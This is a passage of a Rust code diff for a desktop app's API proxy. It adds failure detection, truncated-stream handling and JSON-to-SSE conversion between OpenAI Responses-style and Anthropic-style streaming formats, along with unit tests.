&OptimizerConfig) -> OptimizerConfig { + OptimizerConfig { + enabled: true, + thinking_optimizer: false, + cache_injection: config.cache_injection, + cache_ttl: config.cache_ttl.clone(), + } +} + +/// A streaming request may receive a whole JSON document even when the gateway +/// omits `application/json`. `None` means either "not JSON" or "not complete yet"; +/// a parsed document is safe to commit unless it is a semantic failure envelope. +fn inspect_responses_json_document(buffer: &str) -> Option> { + let trimmed = buffer.trim(); + if !matches!(trimmed.as_bytes().first(), Some(b'{') | Some(b'[')) { + return None; + } + let _: Value = serde_json::from_str(trimmed).ok()?; + if let Some(message) = responses_error_envelope_message(trimmed.as_bytes()) { + return Some(Err(ProxyError::TransformError(format!( + "Responses upstream returned a 2xx failure: {message}" + )))); + } + Some(Ok(())) +} + +/// Inspect one complete Responses SSE block while the response is still inside +/// the retry loop. `None` means the event is lifecycle-only and priming should +/// continue; `Some(Ok(()))` means it is safe to commit/replay the stream. +fn inspect_responses_start_event(block: &str) -> Option> { + let mut named_event = None; + let mut data_lines = Vec::new(); + for line in block.lines() { + if let Some(event) = crate::proxy::sse::strip_sse_field(line, "event") { + named_event = Some(event.trim().to_string()); + } else if let Some(data) = crate::proxy::sse::strip_sse_field(line, "data") { + data_lines.push(data); + } + } + if data_lines.is_empty() { + return None; + } + let value: Value = match serde_json::from_str(&data_lines.join("\n")) { + Ok(value) => value, + Err(_) => return None, + }; + let event = named_event + .as_deref() + .filter(|event| !event.is_empty()) + .or_else(|| value.get("type").and_then(Value::as_str)) + .unwrap_or(""); + + let response = value.get("response").unwrap_or(&value); + if matches!( + response.get("status").and_then(Value::as_str), + Some("failed" | "cancelled") + ) || response.get("error").is_some_and(|error| !error.is_null()) + { + let error = response.get("error").unwrap_or(response); + let message = error + .get("message") + .and_then(Value::as_str) + .or_else(|| error.as_str()) + .unwrap_or("Responses upstream failed before output"); + let error_type = error + .get("type") + .and_then(Value::as_str) + .or_else(|| error.get("code").and_then(Value::as_str)) + .or_else(|| response.get("status").and_then(Value::as_str)) + .unwrap_or("upstream_error"); + return Some(Err(ProxyError::TransformError(format!( + "Responses upstream {error_type}: {message}" + )))); + } + + match event { + "response.failed" | "error" => { + let error = response.get("error").unwrap_or(response); + let message = error + .get("message") + .and_then(Value::as_str) + .or_else(|| error.as_str()) + .unwrap_or("Responses upstream emitted an error before output"); + let error_type = error + .get("type") + .and_then(Value::as_str) + .or_else(|| error.get("code").and_then(Value::as_str)) + .unwrap_or("upstream_error"); + Some(Err(ProxyError::TransformError(format!( + "Responses upstream {error_type}: {message}" + )))) + } + "response.created" | "response.in_progress" | "response.queued" => None, + "" => None, + // Productive output, incomplete, and completed terminals are all safe to + // expose. Mid-stream failures after this point are surfaced by the converter + // but intentionally do not switch providers. + _ => Some(Ok(())), + } +} + /// Rewrite Codex's `/responses` (and variants) to Anthropic's `/v1/messages`, preserving the query. fn rewrite_codex_responses_endpoint_to_anthropic(endpoint: &str) -> (String, Option) { let (_path, query) = split_endpoint_and_query(endpoint); @@ -3079,9 +3328,10 @@ fn log_prompt_cache_trace( .get("stream") .map(value_for_log) .unwrap_or_else(|| "absent".to_string()); + let cache_controls = cache_control_summary(body); log::debug!( - "[CacheTrace] app={}, provider={}, endpoint={}, api_format={}, session_client_provided={}, prompt_cache_key={}, store={}, stream={}, instructions_hash={}, tools_hash={}, input_hash={}, include_hash={}, body_hash={}", + "[CacheTrace] app={}, provider={}, endpoint={}, api_format={}, session_client_provided={}, prompt_cache_key={}, store={}, stream={}, instructions_hash={}, system_hash={}, tools_hash={}, input_hash={}, messages_hash={}, include_hash={}, cache_controls={}, body_hash={}", app_type.as_str(), provider.id, endpoint, @@ -3091,13 +3341,54 @@ fn log_prompt_cache_trace( store, stream, short_value_hash(body.get("instructions")), + short_value_hash(body.get("system")), short_value_hash(body.get("tools")), short_value_hash(body.get("input")), + short_value_hash(body.get("messages")), short_value_hash(body.get("include")), + cache_controls, short_value_hash(Some(body)), ); } +fn cache_control_summary(value: &Value) -> String { + fn walk(value: &Value, count: &mut usize, ttls: &mut std::collections::BTreeSet) { + match value { + Value::Object(object) => { + if let Some(cache_control) = object.get("cache_control") { + *count += 1; + let ttl = cache_control + .get("ttl") + .and_then(Value::as_str) + .unwrap_or("default"); + ttls.insert(ttl.to_string()); + } + for child in object.values() { + walk(child, count, ttls); + } + } + Value::Array(items) => { + for child in items { + walk(child, count, ttls); + } + } + _ => {} + } + } + + let mut count = 0; + let mut ttls = std::collections::BTreeSet::new(); + walk(value, &mut count, &mut ttls); + format!( + "count={count},ttls={}", + if ttls.is_empty() { + "none".to_string() + } else { + ttls.into_iter().collect::>().join("|") + } + ) +} + fn value_for_log(value: &Value) -> String { match value { Value::Bool(value) => value.to_string(), @@ -3819,6 +4110,101 @@ mod tests { ); } + #[test] + fn responses_2xx_failure_is_detected_for_failover() { + assert_eq!( + responses_error_envelope_message( + br#"{"status":"failed","error":{"type":"server_error","message":"busy"},"output":[]}"# + ) + .as_deref(), + Some("server_error: busy") + ); + assert_eq!( + responses_error_envelope_message(br#"{"status":"cancelled","output":[]}"#).as_deref(), + Some("cancelled: response generation was cancelled") + ); + assert!(responses_error_envelope_message( + br#"{"status":"incomplete","incomplete_details":{"reason":"max_output_tokens"},"output":[]}"# + ) + .is_none()); + assert!(responses_error_envelope_message( + br#"{"status":"completed","error":null,"output":[]}"# + ) + .is_none()); + } + + #[test] + fn responses_stream_start_semantic_failure_is_retryable() { + let created = concat!( + "event: response.created\n", + "data: {\"type\":\"response.created\",\"response\":{\"id\":\"resp_1\"}}" + ); + assert!(inspect_responses_start_event(created).is_none()); + + let failed = concat!( + "event: response.failed\n", + "data: {\"type\":\"response.failed\",\"response\":{\"error\":{\"type\":\"server_error\",\"message\":\"boom\"}}}" + ); + assert!(matches!( + inspect_responses_start_event(failed), + Some(Err(ProxyError::TransformError(message))) if message.contains("boom") + )); + + let delta = concat!( + "event: response.output_text.delta\n", + "data: {\"type\":\"response.output_text.delta\",\"delta\":\"hi\"}" + ); + assert!(matches!(inspect_responses_start_event(delta), Some(Ok(())))); + } + + #[test] + fn responses_stream_start_accepts_unlabelled_whole_json() { + assert!(matches!( + inspect_responses_json_document( + r#"{ + "status": "completed", + + "output": [] + }"# + ), + Some(Ok(())) + )); + assert!(inspect_responses_json_document(r#"{"status":"completed""#).is_none()); + + let failed = inspect_responses_json_document( + r#"{"status":"failed","error":{"message":"backend unavailable"}}"#, + ); + assert!( + matches!(failed, Some(Err(ProxyError::TransformError(message))) if message.contains("backend unavailable")) + ); + } + + #[test] + fn codex_anthropic_cache_is_default_on_but_honors_sub_switch() { + let default = codex_anthropic_cache_config(&OptimizerConfig::default()); + assert!(default.enabled); + assert!(default.cache_injection); + assert_eq!(default.cache_ttl, "1h"); + + let disabled = codex_anthropic_cache_config(&OptimizerConfig { + cache_injection: false, + ..OptimizerConfig::default() + }); + assert!(disabled.enabled); + assert!(!disabled.cache_injection); + } + + #[test] + fn invalid_client_history_is_not_retryable() { + let forwarder = test_forwarder(Duration::ZERO, Duration::ZERO); + assert_eq!( + forwarder.categorize_proxy_error(&ProxyError::InvalidRequest( + "invalid historical tool arguments".to_string() + )), + ErrorCategory::NonRetryable + ); + } + #[test] fn rewrite_codex_responses_compact_endpoint_to_chat_preserves_query() { let (endpoint, passthrough_query) = diff --git a/src-tauri/src/proxy/providers/streaming_codex_anthropic.rs b/src-tauri/src/proxy/providers/streaming_codex_anthropic.rs index 8c3870fc4..1a4cd1d59 100644 --- a/src-tauri/src/proxy/providers/streaming_codex_anthropic.rs +++ b/src-tauri/src/proxy/providers/streaming_codex_anthropic.rs @@ -61,6 +61,7 @@ struct AnthropicToResponsesState { output_items: Vec<(u32, Value)>, anthropic_usage: Map, stop_reason: Option, + stream_truncated: bool, tool_context: CodexToolContext, } @@ -76,6 +77,7 @@ impl Default for AnthropicToResponsesState { output_items: Vec::new(), anthropic_usage: Map::new(), stop_reason: None, + stream_truncated: false, tool_context: CodexToolContext::default(), } } @@ -374,7 +376,11 @@ impl AnthropicToResponsesState { let is_custom_tool = self.tool_context.is_custom_tool_chat_name(&name); let item = response_tool_call_item_from_chat_name( &item_id, - "completed", + if self.stream_truncated { + "incomplete" + } else { + "completed" + }, &call_id, &name, &arguments, @@ -382,19 +388,21 @@ impl AnthropicToResponsesState { &self.tool_context, ); let mut events = Vec::new(); - if is_custom_tool { - let input = item.get("input").and_then(Value::as_str).unwrap_or(""); - events.push(sse::custom_tool_call_input_done( - output_index, - &item_id, - input, - )); - } else { - events.push(sse::function_call_arguments_done( - output_index, - &item_id, - &arguments, - )); + if !self.stream_truncated { + if is_custom_tool { + let input = item.get("input").and_then(Value::as_str).unwrap_or(""); + events.push(sse::custom_tool_call_input_done( + output_index, + &item_id, + input, + )); + } else { + events.push(sse::function_call_arguments_done( + output_index, + &item_id, + &arguments, + )); + } } events.push(sse::output_item_done(output_index, &item)); self.output_items.push((output_index, item)); @@ -746,6 +754,7 @@ pub(crate) fn create_responses_sse_stream_from_anthropic_with_context< // an I/O error) after emitting partial output. Report it as incomplete so // Codex does not accept the truncated output as a normal completion. state.stop_reason = Some("max_tokens".to_string()); + state.stream_truncated = true; for event in state.finalize() { yield Ok(event); } @@ -905,6 +914,23 @@ mod tests { assert!(merged.contains("\"reason\":\"max_output_tokens\"")); } + #[tokio::test] + async fn test_truncated_tool_call_is_not_marked_completed() { + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_tool_truncated\",\"model\":\"claude\"}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"tool_use\",\"id\":\"toolu_1\",\"name\":\"exec\"}}\n\n", + "event: content_block_delta\n", + "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"input_json_delta\",\"partial_json\":\"{\\\"cmd\\\":\"}}\n\n" + ); + + let merged = run(input).await; + assert!(merged.contains("\"status\":\"incomplete\"")); + assert!(!merged.contains("event: response.function_call_arguments.done")); + assert!(merged.contains("\"reason\":\"max_output_tokens\"")); + } + #[tokio::test] async fn test_truncated_stream_without_output_reports_failed() { // Upstream closes before producing any output or terminal signal: report failed. @@ -999,6 +1025,8 @@ mod tests { "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"thinking\"}}\n\n", "event: content_block_delta\n", "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"thinking_delta\",\"thinking\":\"hmm\"}}\n\n", + "event: content_block_delta\n", + "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"signature_delta\",\"signature\":\"sig\"}}\n\n", "event: content_block_stop\n", "data: {\"type\":\"content_block_stop\",\"index\":0}\n\n", "event: message_delta\n", diff --git a/src-tauri/src/proxy/providers/streaming_responses.rs b/src-tauri/src/proxy/providers/streaming_responses.rs index 976bd8457..1cfae6380 100644 --- a/src-tauri/src/proxy/providers/streaming_responses.rs +++ b/src-tauri/src/proxy/providers/streaming_responses.rs @@ -10,7 +10,7 @@ use super::reasoning_bridge::{encode_openai_reasoning_item, reasoning_summary_text}; use super::transform_responses::{ - build_anthropic_usage_from_responses, map_responses_stop_reason, + build_anthropic_usage_from_responses, map_responses_stop_reason, responses_to_anthropic, sanitize_anthropic_tool_use_input_json, }; use crate::proxy::sse::{strip_sse_field, take_sse_block}; @@ -24,6 +24,182 @@ fn response_object_from_event(data: &Value) -> &Value { data.get("response").unwrap_or(data) } +fn anthropic_sse(event_name: &str, payload: &Value) -> Bytes { + Bytes::from(format!( + "event: {event_name}\ndata: {}\n\n", + serde_json::to_string(payload).unwrap_or_default() + )) +} + +fn responses_error_details(data: &Value, fallback: &str) -> (String, String) { + let response = response_object_from_event(data); + let error = response.get("error").unwrap_or(response); + let message = error + .get("message") + .and_then(Value::as_str) + .or_else(|| error.as_str()) + .filter(|message| !message.trim().is_empty()) + .unwrap_or(fallback) + .to_string(); + let error_type = error + .get("type") + .and_then(Value::as_str) + .or_else(|| error.get("code").and_then(Value::as_str)) + .unwrap_or("upstream_error") + .to_string(); + (message, error_type) +} + +fn anthropic_error_sse(message: &str, error_type: &str) -> Bytes { + anthropic_sse( + "error", + &json!({ + "type": "error", + "error": {"type": error_type, "message": message} + }), + ) +} + +/// Convert a compatible gateway's non-streaming Responses JSON into a complete +/// Anthropic SSE lifecycle. This is used when the client requested streaming but +/// the upstream ignored `stream:true` and returned `application/json`. +fn responses_json_to_anthropic_sse(body: Value) -> Vec { + let message = match responses_to_anthropic(body) { + Ok(message) => message, + Err(error) => { + return vec![anthropic_error_sse( + &error.to_string(), + "response_transform_error", + )] + } + }; + + let usage = message.get("usage").cloned().unwrap_or_else(|| json!({})); + let mut start_usage = usage.clone(); + start_usage["output_tokens"] = json!(0); + let mut events = vec![anthropic_sse( + "message_start", + &json!({ + "type": "message_start", + "message": { + "id": message.get("id").cloned().unwrap_or_else(|| json!("")), + "type": "message", + "role": "assistant", + "model": message.get("model").cloned().unwrap_or_else(|| json!("")), + "usage": start_usage + } + }), + )]; + + if let Some(content) = message.get("content").and_then(Value::as_array) { + for (index, block) in content.iter().enumerate() { + let index = index as u64; + match block.get("type").and_then(Value::as_str) { + Some("text") => { + events.push(anthropic_sse( + "content_block_start", + &json!({"type":"content_block_start","index":index,"content_block":{"type":"text","text":""}}), + )); + if let Some(text) = block.get("text").and_then(Value::as_str) { + if !text.is_empty() { + events.push(anthropic_sse( + "content_block_delta", + &json!({"type":"content_block_delta","index":index,"delta":{"type":"text_delta","text":text}}), + )); + } + } + events.push(anthropic_sse( + "content_block_stop", + &json!({"type":"content_block_stop","index":index}), + )); + } + Some("tool_use") => { + events.push(anthropic_sse( + "content_block_start", + &json!({ + "type":"content_block_start", + "index":index, + "content_block":{ + "type":"tool_use", + "id":block.get("id").cloned().unwrap_or_else(|| json!("")), + "name":block.get("name").cloned().unwrap_or_else(|| json!("")), + "input":{} + } + }), + )); + let input = block.get("input").cloned().unwrap_or_else(|| json!({})); + events.push(anthropic_sse( + "content_block_delta", + &json!({ + "type":"content_block_delta", + "index":index, + "delta":{"type":"input_json_delta","partial_json":serde_json::to_string(&input).unwrap_or_else(|_| "{}".to_string())} + }), + )); + events.push(anthropic_sse( + "content_block_stop", + &json!({"type":"content_block_stop","index":index}), + )); + } + Some("thinking") => { + events.push(anthropic_sse( + "content_block_start", + &json!({"type":"content_block_start","index":index,"content_block":{"type":"thinking","thinking":""}}), + )); + if let Some(thinking) = block.get("thinking").and_then(Value::as_str) { + if !thinking.is_empty() { + events.push(anthropic_sse( + "content_block_delta", + &json!({"type":"content_block_delta","index":index,"delta":{"type":"thinking_delta","thinking":thinking}}), + )); + } + } + if let Some(signature) = block.get("signature").and_then(Value::as_str) { + if !signature.is_empty() { + events.push(anthropic_sse( + "content_block_delta", + &json!({"type":"content_block_delta","index":index,"delta":{"type":"signature_delta","signature":signature}}), + )); + } + } + events.push(anthropic_sse( + "content_block_stop", + &json!({"type":"content_block_stop","index":index}), + )); + } + Some("redacted_thinking") => { + events.push(anthropic_sse( + "content_block_start", + &json!({"type":"content_block_start","index":index,"content_block":block}), + )); + events.push(anthropic_sse( + "content_block_stop", + &json!({"type":"content_block_stop","index":index}), + )); + } + _ => {} + } + } + } + + events.push(anthropic_sse( + "message_delta", + &json!({ + "type":"message_delta", + "delta":{ + "stop_reason":message.get("stop_reason").cloned().unwrap_or(Value::Null), + "stop_sequence":null + }, + "usage":usage + }), + )); + events.push(anthropic_sse( + "message_stop", + &json!({"type":"message_stop"}), + )); + events +} + #[inline] fn content_part_key(data: &Value) -> Option { if let (Some(item_id), Some(content_index)) = ( @@ -138,14 +314,61 @@ pub fn create_anthropic_sse_stream_from_responses = HashMap::new(); let mut reasoning_text_by_index: HashMap = HashMap::new(); let mut legacy_reasoning_index: Option = None; + let mut has_substantive_output = false; + let mut terminated = false; + // Append an EOF sentinel so the same parser handles a final SSE event that + // omitted its trailing blank line. The boolean distinguishes the sentinel + // from a legitimate empty upstream chunk. + let stream = stream + .map(|result| (result, false)) + .chain(futures::stream::once(async { + (Ok::(Bytes::new()), true) + })); tokio::pin!(stream); - while let Some(chunk) = stream.next().await { + while let Some((chunk, is_eof)) = stream.next().await { match chunk { Ok(bytes) => { crate::proxy::sse::append_utf8_safe(&mut buffer, &mut utf8_remainder, &bytes); + // A few compatible gateways ignore stream:true and return one + // JSON document. Hold it intact until EOF, including any pretty- + // printed blank lines that would otherwise look like SSE separators. + let looks_like_json = matches!( + buffer + .trim_start_matches(|ch: char| ch.is_whitespace() || ch == '\u{feff}') + .as_bytes() + .first(), + Some(b'{') | Some(b'[') + ); + if looks_like_json && !is_eof { + continue; + } + if looks_like_json && is_eof { + match serde_json::from_str::(buffer.trim()) { + Ok(body) => { + for event in responses_json_to_anthropic_sse(body) { + yield Ok(event); + } + terminated = true; + } + Err(error) => { + yield Ok(anthropic_error_sse( + &format!("Invalid JSON response from Responses upstream: {error}"), + "response_parse_error", + )); + terminated = true; + } + } + buffer.clear(); + continue; + } + + if is_eof && !buffer.trim().is_empty() { + buffer.push_str("\n\n"); + } + // SSE 事件由 \n\n 分隔 while let Some(block) = take_sse_block(&mut buffer) { if block.trim().is_empty() { @@ -169,7 +392,6 @@ pub fn create_anthropic_sse_stream_from_responses continue, }; + // Official streams use both a named SSE event and `type` in + // the JSON payload. Compatible gateways sometimes omit the + // `event:` line, so fall back to the payload type. + let event_name = event_type + .as_deref() + .filter(|name| !name.is_empty()) + .or_else(|| data.get("type").and_then(Value::as_str)) + .unwrap_or(""); + log::debug!("[Claude/Responses] <<< SSE event: {event_name}"); + // Ignore every event after a terminal response. In particular, + // do not synthesize message_start if a broken gateway emits a + // late delta after response.failed/error. + if terminated { + continue; + } + + let delta_requires_message_start = matches!( + event_name, + "response.output_text.delta" + | "response.refusal.delta" + | "response.function_call_arguments.delta" + | "response.reasoning_summary_text.delta" + | "response.reasoning_text.delta" + | "response.reasoning.delta" + ); + if delta_requires_message_start { + has_substantive_output = true; + } + if delta_requires_message_start && !has_sent_message_start { + yield Ok(anthropic_sse( + "message_start", + &json!({ + "type":"message_start", + "message":{ + "id":message_id.clone().unwrap_or_default(), + "type":"message", + "role":"assistant", + "model":current_model.clone().unwrap_or_default(), + "usage":{"input_tokens":0,"output_tokens":0} + } + }), + )); + has_sent_message_start = true; + } + match event_name { // ================================================ // response.created → message_start @@ -383,6 +650,7 @@ pub fn create_anthropic_sse_stream_from_responses { if let Some(delta) = data.get("delta").and_then(|d| d.as_str()) { + has_tool_use = true; let item_id = data.get("item_id").and_then(|v| v.as_str()); let index = if let Some(id) = item_id { tool_index_by_item_id.get(id).copied() @@ -528,6 +797,16 @@ pub fn create_anthropic_sse_stream_from_responses { + has_tool_use = true; let item_id = data.get("item_id").and_then(|v| v.as_str()); let index = if let Some(id) = item_id { tool_index_by_item_id.get(id).copied() @@ -867,12 +1147,59 @@ pub fn create_anthropic_sse_stream_from_responses { + "response.completed" | "response.incomplete" => { let response_obj = response_object_from_event(&data); + if matches!( + response_obj.get("status").and_then(Value::as_str), + Some("failed" | "cancelled") + ) || response_obj + .get("error") + .is_some_and(|error| !error.is_null()) + { + let (message, error_type) = responses_error_details( + &data, + "Responses upstream returned a failed terminal response", + ); + yield Ok(anthropic_error_sse(&message, &error_type)); + terminated = true; + continue; + } + if !has_sent_message_start { + if let Some(id) = response_obj.get("id").and_then(Value::as_str) { + message_id = Some(id.to_string()); + } + if let Some(model) = + response_obj.get("model").and_then(Value::as_str) + { + current_model = Some(model.to_string()); + } + yield Ok(anthropic_sse( + "message_start", + &json!({ + "type":"message_start", + "message":{ + "id":message_id.clone().unwrap_or_default(), + "type":"message", + "role":"assistant", + "model":current_model.clone().unwrap_or_default(), + "usage":{"input_tokens":0,"output_tokens":0} + } + }), + )); + has_sent_message_start = true; + } + let terminal_status = response_obj + .get("status") + .and_then(Value::as_str) + .or(match event_name { + "response.incomplete" => Some("incomplete"), + "response.completed" => Some("completed"), + _ => None, + }); let stop_reason = map_responses_stop_reason( - response_obj.get("status").and_then(|s| s.as_str()), + terminal_status, has_tool_use, response_obj .pointer("/incomplete_details/reason") @@ -923,6 +1250,24 @@ pub fn create_anthropic_sse_stream_from_responses>> Anthropic SSE: message_stop"); yield Ok(Bytes::from(stop_sse)); + terminated = true; + } + + // ================================================ + // Semantic failures can be carried inside an HTTP 2xx SSE. + // Preserve the upstream details instead of silently ending. + // ================================================ + "response.failed" | "error" => { + let (message, error_type) = responses_error_details( + &data, + if event_name == "response.failed" { + "Responses upstream reported response.failed" + } else { + "Responses upstream emitted an error event" + }, + ); + yield Ok(anthropic_error_sse(&message, &error_type)); + terminated = true; } // Lifecycle events that don't need Anthropic counterparts. @@ -949,6 +1294,7 @@ pub fn create_anthropic_sse_stream_from_responses { + has_tool_use = true; let item_id = item .get("id") .and_then(Value::as_str) @@ -1126,10 +1472,66 @@ pub fn create_anthropic_sse_stream_from_responses = open_indices.iter().copied().collect(); + remaining.sort_unstable(); + for index in remaining { + yield Ok(anthropic_sse( + "content_block_stop", + &json!({"type":"content_block_stop","index":index}), + )); + } + if !has_sent_message_start { + yield Ok(anthropic_sse( + "message_start", + &json!({ + "type":"message_start", + "message":{ + "id":message_id.clone().unwrap_or_default(), + "type":"message", + "role":"assistant", + "model":current_model.clone().unwrap_or_default(), + "usage":{"input_tokens":0,"output_tokens":0} + } + }), + )); + } + yield Ok(anthropic_sse( + "message_delta", + &json!({ + "type":"message_delta", + "delta":{"stop_reason":"max_tokens","stop_sequence":null}, + "usage":{"input_tokens":0,"output_tokens":0} + }), + )); + yield Ok(anthropic_sse("message_stop", &json!({"type":"message_stop"}))); + } else { + // A truncated tool/reasoning block cannot be safely finalized: tool + // JSON may be partial and thinking may be missing its signature. + yield Ok(anthropic_error_sse( + "Responses upstream stream ended before a terminal event", + "stream_truncated", + )); + } + } } } @@ -1140,6 +1542,16 @@ mod tests { use futures::StreamExt; use std::collections::HashMap; + async fn convert_stream_text(input: impl Into) -> String { + let upstream = stream::iter(vec![Ok::<_, std::io::Error>(input.into())]); + create_anthropic_sse_stream_from_responses(upstream) + .collect::>() + .await + .into_iter() + .map(|chunk| String::from_utf8_lossy(chunk.unwrap().as_ref()).to_string()) + .collect() + } + #[test] fn test_map_responses_stop_reason_tool_use() { assert_eq!( @@ -1174,6 +1586,152 @@ mod tests { assert_eq!(obj["model"], "gpt-4o"); } + #[tokio::test] + async fn test_response_failed_event_becomes_anthropic_error() { + let input = concat!( + "event: response.created\n", + "data: {\"type\":\"response.created\",\"response\":{\"id\":\"resp_1\",\"model\":\"gpt-5\"}}\n\n", + "event: response.failed\n", + "data: {\"type\":\"response.failed\",\"response\":{\"status\":\"failed\",\"error\":{\"type\":\"server_error\",\"message\":\"backend exploded\"}}}\n\n" + ); + + let merged = convert_stream_text(input).await; + assert!(merged.contains("event: error")); + assert!(merged.contains("backend exploded")); + assert!(!merged.contains("event: message_stop")); + } + + #[tokio::test] + async fn test_late_delta_after_failure_does_not_emit_message_start() { + let input = concat!( + "event: response.failed\n", + "data: {\"type\":\"response.failed\",\"response\":{\"status\":\"failed\",\"error\":{\"message\":\"boom\"}}}\n\n", + "event: response.output_text.delta\n", + "data: {\"type\":\"response.output_text.delta\",\"delta\":\"too late\"}\n\n" + ); + + let merged = convert_stream_text(input).await; + assert!(merged.contains("event: error")); + assert!(!merged.contains("event: message_start")); + assert!(!merged.contains("too late")); + } + + #[tokio::test] + async fn test_completed_event_with_failed_status_is_error() { + let input = concat!( + "event: response.completed\n", + "data: {\"type\":\"response.completed\",\"response\":{\"status\":\"failed\",\"error\":{\"type\":\"server_error\",\"message\":\"failed wrapper\"},\"output\":[]}}\n\n" + ); + + let merged = convert_stream_text(input).await; + assert!(merged.contains("event: error")); + assert!(merged.contains("failed wrapper")); + assert!(!merged.contains("event: message_stop")); + } + + #[tokio::test] + async fn test_response_incomplete_event_terminates_with_max_tokens() { + let input = concat!( + "event: response.created\n", + "data: {\"type\":\"response.created\",\"response\":{\"id\":\"resp_1\",\"model\":\"gpt-5\"}}\n\n", + "event: response.incomplete\n", + "data: {\"type\":\"response.incomplete\",\"response\":{\"status\":\"incomplete\",\"incomplete_details\":{\"reason\":\"max_output_tokens\"},\"usage\":{\"input_tokens\":10,\"output_tokens\":3}}}\n\n" + ); + + let merged = convert_stream_text(input).await; + assert!(merged.contains("\"stop_reason\":\"max_tokens\"")); + assert!(merged.contains("event: message_stop")); + assert!(!merged.contains("event: error")); + } + + #[tokio::test] + async fn test_response_incomplete_event_without_status_uses_event_fallback() { + let input = concat!( + "event: response.incomplete\n", + "data: {\"type\":\"response.incomplete\",\"response\":{\"usage\":{\"output_tokens\":3}}}\n\n" + ); + + let merged = convert_stream_text(input).await; + assert!(merged.contains("\"stop_reason\":\"max_tokens\"")); + assert!(merged.contains("event: message_stop")); + } + + #[tokio::test] + async fn test_final_event_without_blank_line_is_processed() { + let input = concat!( + "event: response.created\n", + "data: {\"type\":\"response.created\",\"response\":{\"id\":\"resp_1\",\"model\":\"gpt-5\"}}\n\n", + "event: response.completed\n", + "data: {\"type\":\"response.completed\",\"response\":{\"status\":\"completed\"}}\n" + ); + + let merged = convert_stream_text(input).await; + assert!(merged.contains("\"stop_reason\":\"end_turn\"")); + assert_eq!(merged.matches("event: message_stop").count(), 1); + assert!(!merged.contains("stream_truncated")); + } + + #[tokio::test] + async fn test_clean_eof_after_partial_text_is_explicitly_incomplete() { + let input = concat!( + "event: response.created\n", + "data: {\"type\":\"response.created\",\"response\":{\"id\":\"resp_1\",\"model\":\"gpt-5\"}}\n\n", + "event: response.output_text.delta\n", + "data: {\"type\":\"response.output_text.delta\",\"delta\":\"partial\"}\n\n" + ); + + let merged = convert_stream_text(input).await; + assert!(merged.contains("\"stop_reason\":\"max_tokens\"")); + assert!(merged.contains("event: content_block_stop")); + assert!(merged.contains("event: message_stop")); + } + + #[tokio::test] + async fn test_clean_eof_during_tool_arguments_is_error() { + let input = concat!( + "event: response.created\n", + "data: {\"type\":\"response.created\",\"response\":{\"id\":\"resp_1\",\"model\":\"gpt-5\"}}\n\n", + "event: response.function_call_arguments.delta\n", + "data: {\"type\":\"response.function_call_arguments.delta\",\"item_id\":\"fc_1\",\"call_id\":\"call_1\",\"name\":\"exec\",\"delta\":\"{\\\"cmd\\\":\"}\n\n" + ); + + let merged = convert_stream_text(input).await; + assert!(merged.contains("event: error")); + assert!(merged.contains("stream_truncated")); + assert!(!merged.contains("event: message_stop")); + } + + #[tokio::test] + async fn test_stream_request_with_complete_json_response_is_converted() { + let input = r#"{ + "id":"resp_json", + "status":"completed", + "model":"gpt-5", + "output":[{"type":"message","content":[{"type":"output_text","text":"hello"}]}], + "usage":{"input_tokens":4,"output_tokens":1} + }"#; + + let merged = convert_stream_text(input).await; + assert!(merged.contains("event: message_start")); + assert!(merged.contains("\"text\":\"hello\"")); + assert!(merged.contains("event: message_stop")); + } + + #[tokio::test] + async fn test_stream_request_with_failed_json_response_is_error() { + let input = r#"{ + "id":"resp_json", + "status":"failed", + "error":{"type":"server_error","message":"json backend failed"}, + "output":[] + }"#; + + let merged = convert_stream_text(input).await; + assert!(merged.contains("event: error")); + assert!(merged.contains("json backend failed")); + assert!(!merged.contains("event: message_stop")); + } + #[tokio::test] async fn test_streaming_conversion_with_wrapped_response_events() { let input = concat!( diff --git a/src-tauri/src/proxy/providers/transform_codex_anthropic.rs b/src-tauri/src/proxy/providers/transform_codex_anthropic.rs index 0afc6c711..0cbd457f1 100644 --- a/src-tauri/src/proxy/providers/transform_codex_anthropic.rs +++ b/src-tauri/src/proxy/providers/transform_codex_anthropic.rs @@ -14,7 +14,7 @@ use super::transform_codex_chat::{ build_codex_tool_context_from_request, response_tool_call_item_from_chat_name, response_tool_call_item_id_from_chat_name, CodexToolContext, }; -use super::transform_responses::sanitize_anthropic_tool_use_input; +use super::transform_responses::{sanitize_anthropic_tool_use_input, TOOL_RESULT_ERROR_MARKER}; use crate::proxy::error::ProxyError; use crate::proxy::json_canonical::canonical_json_string; use crate::proxy::sse::{strip_sse_field, take_sse_block}; @@ -65,7 +65,16 @@ fn reasoning_explicitly_disabled(effort: Option<&str>) -> bool { /// tool-result request. The prefix keeps unrelated providers' ciphertext isolated. pub(crate) fn encode_anthropic_thinking_block(block: &Value) -> Option { match block.get("type").and_then(|value| value.as_str()) { - Some("thinking" | "redacted_thinking") => {} + Some("thinking") + if block + .get("signature") + .and_then(Value::as_str) + .is_some_and(|value| !value.is_empty()) => {} + Some("redacted_thinking") + if block + .get("data") + .and_then(Value::as_str) + .is_some_and(|value| !value.is_empty()) => {} _ => return None, } let bytes = serde_json::to_vec(block).ok()?; @@ -79,10 +88,9 @@ pub(crate) fn decode_anthropic_thinking_block(encrypted_content: &str) -> Option let encoded = encrypted_content.strip_prefix(ANTHROPIC_THINKING_ENCRYPTED_PREFIX)?; let bytes = URL_SAFE_NO_PAD.decode(encoded).ok()?; let block: Value = serde_json::from_slice(&bytes).ok()?; - match block.get("type").and_then(|value| value.as_str()) { - Some("thinking" | "redacted_thinking") => Some(block), - _ => None, - } + // Reuse the encoder's validation so legacy/malformed bridge envelopes cannot + // replay an unsigned thinking block into an Anthropic tool turn. + encode_anthropic_thinking_block(&block).map(|_| block) } pub(crate) fn responses_reasoning_item_from_anthropic_block( @@ -183,6 +191,11 @@ pub(crate) fn build_responses_usage_from_anthropic(usage: Option<&Value>) -> Val if cache_creation > 0 { result["cache_creation_input_tokens"] = json!(cache_creation); } + if let Some(cache_creation_details) = u.get("cache_creation") { + // Preserve Anthropic's TTL buckets as a compatibility extension. The usage + // parser consumes these to distinguish 5-minute and 1-hour write pricing. + result["cache_creation"] = 